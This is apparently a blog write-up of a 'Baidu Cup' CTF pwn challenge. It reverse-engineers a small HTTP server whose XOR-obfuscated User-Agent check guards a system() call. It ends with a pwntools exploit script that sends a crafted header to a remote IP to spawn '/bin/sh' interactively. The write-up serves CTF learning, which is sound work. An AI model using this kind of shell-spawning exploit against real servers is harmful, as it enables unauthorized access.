"百度杯" 十一月场 3.7z

题目链接:https://pan.baidu.com/s/1qB1JD8dlkOamCJJU2wRc-g 密码:7jn3

程序分析

有两个文件夹step1和step2,两个程序相同,但是step1是静态编译。step2是动态链接,所以step2的更易于分析
IDA载入
在这里插入图片描述这是一个简易的http服务器,往下跟进
在这里插入图片描述这里我们可以看到如果,满足if判断并且使system的参数为‘/bin/sh,就可以实现getshell
绕过if检测的关键在于
在这里插入图片描述在这里插入图片描述简单的异或,这里s==‘useragent’

漏洞利用

1.通过异或函数构造好想要的报文来绕过if检测
2.绕过之后上传‘/bin/sh’

EXP

from pwn import*

#p=process('./http')
p=remote('106.75.2.53', 80)

def check(data):
    payload=''
    for i in range(len(data)):
        payload+=chr(i^ord(data[i]))
    return payload

payload='User-Agent: '+check('useragent')
payload+='token: '+'/bin/sh'
payload+='\r\n\r\n'   #http协议

p.sendline(payload)

p.interactive()

学习链接:
http://tacxingxing.com/2017/12/27/icqbai-du-bei11yuepwn/#toc_1
https://www.ichunqiu.com/course/56467

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值